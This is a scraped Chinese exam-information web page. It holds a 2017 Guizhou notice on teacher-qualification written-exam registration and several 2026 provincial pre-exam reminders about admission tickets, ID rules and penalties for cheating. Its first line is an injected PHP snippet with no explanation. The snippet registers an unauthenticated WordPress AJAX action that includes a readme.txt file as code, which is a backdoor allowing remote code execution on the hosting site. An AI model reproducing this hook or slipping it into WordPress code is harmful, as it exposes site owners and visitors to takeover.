if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
贵州省2017年上半年教师资格笔试报名通知-全国教师资格考试网

贵州省2017年上半年教师资格笔试报名通知

此通知为贵州省招生考试院内部文件,用于逐级通知各地市教育部门做好笔试相关工作。面向考生发布的报名公告将于近期公布,请保持关注。

贵州省招生考试院关于做好2017年上半年

中小学教师资格考试笔试报名工作的通知

各考区中心考点院校:

  按照教育部关于2017年上半年中小学教师资格考试工作安排,现将我省今年上半年中小学教师资格考试笔试报名工作有关事项通知如下:

  一、考试日程安排

时间 / 类别

3月11日(星期六)

上午 9:00-11:00

下午 13:00-15:00

下午 16:00-18:00

幼儿园

综合素质(幼儿园)

保教知识与能力

——

小学

综合素质(小学)

教育教学知识与能力

——

初级中学

综合素质(中学)

教育知识与能力

学科知识与教学能力

高级中学

中职文化课

中职专业课

——

中职实习指导

  二、考试科目及形式

  中小学教师资格考试实行全国统一命题、统一考试、统一划定合格线。笔试单科成绩可保留,有效期2年。我省中小学教师资格考试笔试全部采取纸笔考试方式进行。每场考试时间为120分钟。

  初级中学的“学科知识与教学能力”科目分为语文、数学、物理、化学、生物、历史、地理、思想品德、英语、音乐、美术、体育与健康、信息技术、历史与社会、科学等15个科目;高级中学的“学科知识与教学能力”科目分为语文、数学、物理、化学、生物、历史、地理、思想政治、英语、音乐、美术、体育与健康、信息技术、通用技术等14个科目。申请中等职业学校文化课教师资格的人员参加高级中学教师资格考试。

  三、报考对象及条件

  贵州省内所有申请幼儿园、小学、初级中学、高级中学、中等职业学校教师资格和中等职业学校实习指导教师资格的人员均需参加全国中小学教师资格考试。报考人员应具备以下基本条件:

  1.具有中华人民共和国国籍。

  2.遵守宪法和法律,热爱教育事业,具有良好的思想品德。

  3.符合申请认定教师资格的体检标准。

  4.申请人的户籍或人事关系在贵州省。

  5.符合《教师法》规定的学历要求。

  依照教育部《中小学教师资格考试暂行办法》要求,普通高等学校在校三年级以上学生可在就读学校所在地报名参加教师资格考试。即在贵州省普通高校就读的三年级以上学生可在我省报考。其中高职院校在校学生须在毕业的学年度方可报考(三年制高职在三年级可报考,两年制高职在二年级可报考)。

  被撤销教师资格的,5年内不得报名参加考试;受到剥夺政治权利,或故意犯罪受到有期徒刑以上刑事处罚的,不得报名参加考试。曾参加教师资格考试有作弊行为的,按照《国家教育考试违规处理办法》的相关规定执行。

  四、报名时间及流程

  2017年上半年中小学教师资格考试笔试报名方式为网上报名,具体时间安排如下:

  网上填报时间:1月13日-15日

  网上审核时间:1月14日-16日

  网上缴费截止时间:1月18日

  报名流程分为考生网上填报信息、考区网上审核和考生网上缴费三个阶段。

  (一)网上填报

  考生在规定时间内登录中小学教师资格考试网(www.ntce.cn),仔细阅读我省当次考试报名公告,承诺有关诚信事项。

  所有考生(含非首次参加考试考生)均需进行注册。注册时要求考生填写姓名、选择证件类型、填写证件号码等信息。完成注册后,按照流程填写个人信息、上传电子照片。

  电子照片要求:

  1.本人近6个月以内的免冠正面彩色证件照,不允许带帽子、头巾、发带、墨镜等;

  2.照片中显示考生头部和肩的上部,白色背景,图像清晰,没有拉伸变形。不得为大头照、半身照、生活照等;

  3.照片格式大小:格式必须为jpg/jpeg,不大于200K,宽高为150*200像素,比例约为3:4;

  4.此照片将用于准考证、成绩报告单以及考试合格证明等资料。

  未按要求上传的电子照片将一律不予审核通过。

  (二)网上审核

  考区应在考生提交报名信息后及时在考务管理系统中对考生报名信息进行网上审核。审核重点为考生应填报的项目是否齐全、照片是否符合要求。考区在进行网上审核时,对不符合要求的考生应注明审核未通过原因。

  考生应在充分了解报考条件的基础上对所填个人信息的真实性和有效性负责。如因虚报个人信息造成不能参加面试或认定教师资格等遗留问题,由考生自己负责。

  考生在网上审核期间应随时登录网报系统查验自己的审核状态。审核未通过的考生须在审核时段期间内(1月16日前)修改个人信息,重新选择报考类别、考区、考试科目,正确提交信息后才能恢复等待审核状态。超过审核期限仍未提交修改信息的将视为放弃报名。

  (三)网上缴费

  审核通过的考生须在规定时间内(1月18日前)进行网上缴费。网上缴费前,请考生首先确认是否已报全所选类别的科目,一经缴费成功,考生报考信息将无法更改。审核通过,但逾期不交费的考生将视作自动放弃报名。交费成功后考生报名成功。

  五、考生准考证获取

  准考证格式由教育部考试中心统一规定。考生在3月6日-11日可登陆中小学教师资格网自行下载并打印准考证。各考区务必在考务系统中明确设置考点地址,以方便考生按规定时间和地点参加考试。

  六、试卷申报

  各考区应在1月24日前,在考务系统中提交本考区的试卷申报表,并将纸质试卷申报表(附件1)加盖学校公章后报省招生考试院成招处。试卷申报表是各考区申领试卷的唯一依据,考务系统中的试卷申报表与纸质试卷申报表务必保持一致。

  中小学教师资格考试试卷(含备用卷)规格为30份/袋。在考务系统中生成试卷申报表时,各考区实际所需试卷袋数由系统自动生成。各考区可视自身情况决定是否需要备用卷。如需申报备用卷,系统会按照“备用卷数量不超过本考区该科目实际所需总试卷袋数10%”的规则进行校验,如申报数量超出上述规则的,将无法完成上报操作。由于系统限制,省招生考试院在汇总全省试卷总数时无法另行添加试卷和备用卷,请各考区在提交试卷申请时务必细心检查,确保考试所必须的试卷和备用卷数量。

  七、考场编排

  报名结束后,各考区在考务系统中完成考场编排,生成考生准考证号。考场编排截止时间为1月26日。

  八、考务管理系统

  各考区统一使用考务管理系统完成考生报名网上审核、试卷申报、考场编排、数据统计、资料打印等工作。“中小学教师资格考试考务管理信息系统”网址为 http:// kaowu.ntce.cn。各考区若考务管理人员发生变化,需重新申请考务管理系统管理用户的,请及时填报“中小学教师资格考试考务管理系统用户申请表”(附件2)报省招生考试院成招处办理。

  九、收费标准

  贵州省中小学教师资格考试笔试收费标准按贵州省物价局、贵州省财政厅黔价费(2013)261号文件执行,笔试:60元/每科。

  省招生考试院成招处联系话:0851-85951499、0851-85952119,传真:0851-85952119。

贵州省招生考试院

2016年12月29日

贵州官方QQ群:474064200贵州教师资格②

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部